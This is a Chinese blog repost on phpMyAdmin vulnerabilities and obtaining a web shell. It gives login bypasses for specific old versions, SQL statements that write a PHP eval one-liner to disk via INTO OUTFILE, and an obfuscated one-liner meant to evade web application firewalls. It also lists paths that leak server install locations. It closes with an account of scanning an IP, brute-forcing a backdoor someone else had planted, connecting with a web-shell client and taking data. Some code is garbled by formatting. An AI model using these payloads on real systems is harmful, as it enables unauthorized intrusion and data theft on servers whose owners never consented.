PHPmyadmin漏洞以及拿shell的示例分析

48次阅读
没有评论

共计 1412 个字符,预计需要花费 4 分钟才能阅读完成。

自动写代码机器人,免费开通

丸趣 TV 小编给大家分享一下 PHPmyadmin 漏洞以及拿 shell 的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!

phpmyadmin 的漏洞相对来说,还是比较多的,对于新手来说,分享几个漏洞,深入的处于代码审计方面的也可以和我讨论
phpmyadmin2.11.3-2.11.4 这两个版本存在万能密码,直接使用‘localhost’@ @”为账号,密码不用输入。

phpmyadmin2.11.9.2 这个版本存在空口令。直接 root 用户登陆,密码不用

找这个的话 用自己的写的脚本,或者搜素引擎什么的,这里懂的人就懂了,不懂也不在这里。

关于拿 shell,—-》root 权限,并且有写文件权限 —-》导出的目录有写权限 —-》有的情况下,就算你这两个都有,但是服务器的一些配置还是会对这个有影响。

在 getshell 之前先进入一个数据库

第一种,使用 sql 语句,创建一个表,添加一个字段,字段的内容为一句话,然后导出到 php 文件中,最后删除这个表,这个是最保险的方法
Create TABLE 表 (列 text NOT NULL)
Insert INTO 表 (列) VALUES(?php eval($_POST[mima])? )
select 列 from 表 into _utfile 路径
Drop TABLE IF EXISTS 表;
第二种方法,这个是直接写入
select 一句话 INTO _UTFILE 路径
还有几种方法,大致原理都一样。
然后,一般的话,一句话都是

?php @eval($_POST[x])?

有狗的话,用免杀一句话,下面这个是我过年前构造的过狗一句话,现在应该还可以过

?php
 $a =  s 
 $str = str_repeat($a,2);
 $to = $_POST;
 //echo $str;
 $exp =  a .$str[0].$str[1]. e . r . t 
 $exp($to[ x])
 ?

找路径的话,

1//  利用 phpinfo.php
 2// 利用 phpmyadmin 的一些文件报错,下面都是网上通用的
 /phpMyAdmin/index.php?lang[]=1
 /phpMyAdmin/phpinfo.php
 /load_file()
 /phpmyadmin/themes/darkblue_orange/layout.inc.php
 /phpmyadmin/libraries/select_lang.lib.php
 /phpmyadmin/libraries/lect_lang.lib.php
 /phpmyadmin/libraries/mcrypt.lib.php
 /phpmyadmin/libraries/export/xls.php

3// 再者就是利用网站包路径,这些会的都会了,不会的慢慢的就会了。

下面开始实战,脚本扫到一个 IP,显示存在 phpmyadmin,打开

PHPmyadmin 漏洞以及拿 shell 的示例分析

一看这些 php 文件就是后门一句话,放到几万字典爆破,两秒钟

PHPmyadmin 漏洞以及拿 shell 的示例分析

直接菜刀链接。。。。。
这个肯定被人搞了,直接打包好东西,你懂的。。。提权什么的就不必要了。

PHPmyadmin 漏洞以及拿 shell 的示例分析

以上是“PHPmyadmin 漏洞以及拿 shell 的示例分析”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注丸趣 TV 行业资讯频道!

向 AI 问一下细节

正文完
 
丸趣
版权声明:本站原创文章,由 丸趣 2023-12-04发表,共计1412字。
转载说明:除特殊说明外本站除技术相关以外文章皆由网络搜集发布,转载请注明出处。
评论(没有评论)